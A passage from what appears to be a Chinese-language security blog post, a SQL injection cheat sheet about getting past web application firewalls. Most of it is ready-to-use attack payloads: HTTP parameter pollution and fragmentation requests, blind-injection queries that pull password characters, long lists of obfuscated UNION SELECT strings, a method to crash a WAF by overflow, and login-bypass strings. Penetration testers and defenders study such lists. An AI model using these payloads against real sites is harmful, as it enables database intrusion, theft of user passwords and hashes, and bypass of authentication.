    You need to sniff dns resolution requests to yourhost.com
  • {INJECTION} =你想运行查询。

 

[进阶]Bypass WAF

利用函数替代一些被过滤的字符串 

例如:GREATEST(a,b) 代替a>b

http://www.iashes.com/2015-03-581.html

绕过WAF:SQL注入 – 规范化方法

规范请求格式漏洞示例(1):
• 以下请求不允许任何人进行攻击

 /?id=1+union+select+1,2,3/*

• 如果WAF中存在相应的漏洞,则请求

 will be successfully performed
 /?id=1/*union*/union/*select*/select+1,2,3/*

• 经过WAF处理后,请求变为

 index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

给出的示例在清除危险通信的情况下工作,而不是在阻止整个请求或攻击源的情况下。

规范请求格式漏洞示例(2):
• 同样,以下请求不允许任何人进行攻击

 /?id=1+union+select+1,2,3/*

• 如果WAF中存在相应的漏洞,则该请求将成功执行

 /?id=1+un/**/ion+sel/**/ect+1,2,3--

• SQL请求将成为

 SELECT * from table where id =1 union select 1,2,3--

可以使用WAF切断的任何符号序列(例如,#####,%00)而不是构造/ ** /。

给定的示例在过度清理传入数据的情况下工作(用空字符串替换正则表达式)

使用HTTP参数污染  HTTP Parameter Pollution (HPP)’

• 以下请求不允许任何人进行攻击

 /?id=1;select+1,2,3+from+users+where+id=1--

• 使用HPP将成功执行此请求

 /?id=1;select+1&id=2,3+from+users+where+id=1--

绕过WAF的参数污染攻击的成功传导取决于被攻击的应用程序的环境。

EU09 Luca Carettoni, Stefano diPaola.

Sqli-HPP.png

Using HTTP Parameter Pollution (HPP)

• 易受攻击的代码

 SQL=" select key from table where id= "+Request.QueryString("id")

• 使用HPP技术成功执行此请求

 /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

• SQL请求从表中变为选择键

 id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

ByPassing WAF: SQL Injection – HPF
HTTP参数碎片 HTTP Parameter Fragmentation (HPF)

• 易受攻击的代码示例

 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);

• 以下请求不允许任何人进行攻击

 /?a=1+union+select+1,2/*

• 这些请求可以使用HPF成功执行

 /?a=1+union/*&b=*/select+1,2
 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

• SQL请求变成了

 select * from table where a=1 union/* and b=*/select 1,2
 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

Bypassing WAF: Blind SQL Injection
使用逻辑请求和/或
• 下列请求允许对许多WAF进行成功的攻击

 /?id=1+OR+0x50=0x50
 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

可以使用否定和不平等符号(!=,<>,<,>)来代替等号 – 效果拔群!

通过将使用WAF签名获得的SQL函数替换为其同义词,可以利用盲注入方法利用漏洞。
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep() 

各种各样的逻辑请求。
and 1
or 1
and 1=1
and 2<3
and ‘a’=’a’
and ‘a'<>’b’
and char(32)=’ ‘
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
….
具有相同含义的各种请求符号的示例。
select user from mysql.user where user = ‘user’ OR mid(password,1,1)=’*’
select user from mysql.user where user = ‘user’ OR mid(password,1,1)=0x2a
select user from mysql.user where user = ‘user’ OR mid(password,1,1)=unhex(‘2a’)
select user from mysql.user where user = ‘user’ OR mid(password,1,1) regexp ‘[*]’
select user from mysql.user where user = ‘user’ OR mid(password,1,1) like ‘*’
select user from mysql.user where user = ‘user’ OR mid(password,1,1) rlike ‘[*]’
select user from mysql.user where user = ‘user’ OR ord(mid(password,1,1))=42
select user from mysql.user where user = ‘user’ OR ascii(mid(password,1,1))=42
select user from mysql.user where user = ‘user’ OR find_in_set(‘2a’,hex(mid(password,1,1)))=1
select user from mysql.user where user = ‘user’ OR position(0x2a in password)=1
select user from mysql.user where user = ‘user’ OR locate(0x2a,password)=1
已知:

substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70

新的:

strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
STRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the first , argument is smaller than the second one, and 1 otherwise.

An example of signature bypass.
以下请求

/?id=1+union+(select+1,2+from+users)

但有时候,认证的查询可以被绕过

/?id=1+union+(select+'xz'from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)

SQL注入攻击可以成功绕过WAF,并在以下所有情况下进行:
WAF功能中的漏洞请求规范化。
•应用HPP和HPF技术。
•绕过过滤规则(签名)。
•通过盲目SQL注入的方法来利用漏洞。
•攻击应用程序操作逻辑(和/或)

WAF Bypassing Strings.

 /*!%55NiOn*/ /*!%53eLEct*/
 %55nion(%53elect 1,2,3)-- -
 +union+distinct+select+
 +union+distinctROW+select+
 /**//*!12345UNION SELECT*//**/
 concat(0x223e,@@version)
 concat(0x273e27,version(),0x3c212d2d)
 concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
 concat(0x223e,@@version,0x3c696d67207372633d22)
 concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e)
 concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
 concat(‘’,@@version,’’)
 /**//*!50000UNION SELECT*//**/
 /**/UNION/**//*!50000SELECT*//**/
 /*!50000UniON SeLeCt*/
 union /*!50000%53elect*/
 +#uNiOn+#sEleCt
 +#1q%0AuNiOn all#qa%0A#%0AsEleCt
 /*!%55NiOn*/ /*!%53eLEct*/
 /*!u%6eion*/ /*!se%6cect*/
 +un/**/ion+se/**/lect
 uni%0bon+se%0blect
 %2f**%2funion%2f**%2fselect
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 REVERSE(noinu)+REVERSE(tceles)
 /*--*/union/*--*/select/*--*/
 union (/*!/**/ SeleCT */ 1,2,3)
 /*!union*/+/*!select*/
 union+/*!select*/
 /**/union/**/select/**/
 /**/uNIon/**/sEleCt/**/
 /**//*!union*//**//*!select*//**/
 /*!uNIOn*/ /*!SelECt*/
 +union+distinct+select+
 +union+distinctROW+select+
 +UnIOn%0d%0aSeleCt%0d%0a
 UNION/*&test=1*/SELECT/*&pwn=2*/
 un?+un/**/ion+se/**/lect+
 +UNunionION+SEselectLECT+
 +uni%0bon+se%0blect+
 %252f%252a*/union%252f%252a /select%252f%252a*/
 /%2A%2A/union/%2A%2A/select/%2A%2A/
 %2f**%2funion%2f**%2fselect%2f**%2f
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 /*!UnIoN*/SeLecT+

通过使用URL编码的union查询

   %55nion(%53elect)
   union%20distinct%20select
   union%20%64istinctRO%57%20select
   union%2053elect
   %23?%0auion%20?%23?%0aselect
   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
   %55nion %53eLEct
   u%6eion se%6cect
   unio%6e %73elect
   unio%6e%20%64istinc%74%20%73elect
   uni%6fn distinct%52OW s%65lect
   %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

非法混用排序ByPass方法:

   unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
   /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
   union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?

注释Bypass 

利用SQL注释绕过WAF

 Code :
 http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--

替换大小写

一些WAF只过滤小写的SQL关键字。

正则表达式过滤器:/ union \ sselect / g

http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

替换的关键字

某些应用程序和WAF使用preg_replace删除所有SQL关键字。所以我们可以轻松绕过。

http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

某些情况下的SQL关键字被过滤掉,并被替换为空格。所以我们可以使用“%0b”绕过。

http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

对于Mod_rewrite,注释“/ ** /”不能绕过。所以我们用“%0b”替换“/ ** /”。

Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html

高级方法

利用缓冲区溢出使WAF崩溃

1) 缓冲区溢出/防火墙崩溃:许多防火墙是用C / C ++开发的,我们可以使用缓冲区溢出来使其崩溃。

    http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

    You can test if the WAF can be crashed by typing:
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

    If you get a 500, you can exploit it using the Buffer Overflow Method.

2) 用HEX值替换字符:我们可以用HEX(URL编码)值替换一些字符。

Example:
    http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
    (which means “union select”)

4) 其他可利用的功能:许多防火墙试图通过添加原型或奇怪的功能来提供更多的保护:

Example:
    This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:
    http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
    (If the Firewall removes the “*”, the result will be: 15+union+select….)
    So, if you find such a silly function, you can exploit it, in this way.

身份验证绕过

如果我们需要绕过一些管理面板,我们使用或1 = 1。

Code:
or 1-- -' or 1 or '1"or 1 or"

SELECT * FROM login WHERE id=1 or 1– -‘ or 1 or ‘1″or 1 or” AND username= AND password= the “or 1– -” gets active, make the condition true and ignores the rest of the query. now lets check regular string-

SELECT * FROM login WHERE username=’ or 1– -‘ or 1 or ‘1″or 1 or” ‘ ….. the “or 1″ part make the query true, and the other parts are considered as the comparison strings. same with the double quotes. SELECT * FROM login WHERE username=” or 1– -‘ or 1 or ‘1″or 1 or” ”

 

 

引用、推荐阅读

  • http://www.freebuf.com/articles/web/30841.html
  • https://xianzhi.aliyun.com/forum/topic/368
  • http://blog.csdn.net/s_sorin/article/details/52173345
  • https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
  • http://www.91ri.org/9000.html
  • http://www.91ri.org/7636.html
  • https://websec.ca/kb/sql_injection
  • https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
  • https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

 





本文链接地址: The SQL Injection Knowledge Base

原创文章,转载请注明: 转载自Lz1y's Blog

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.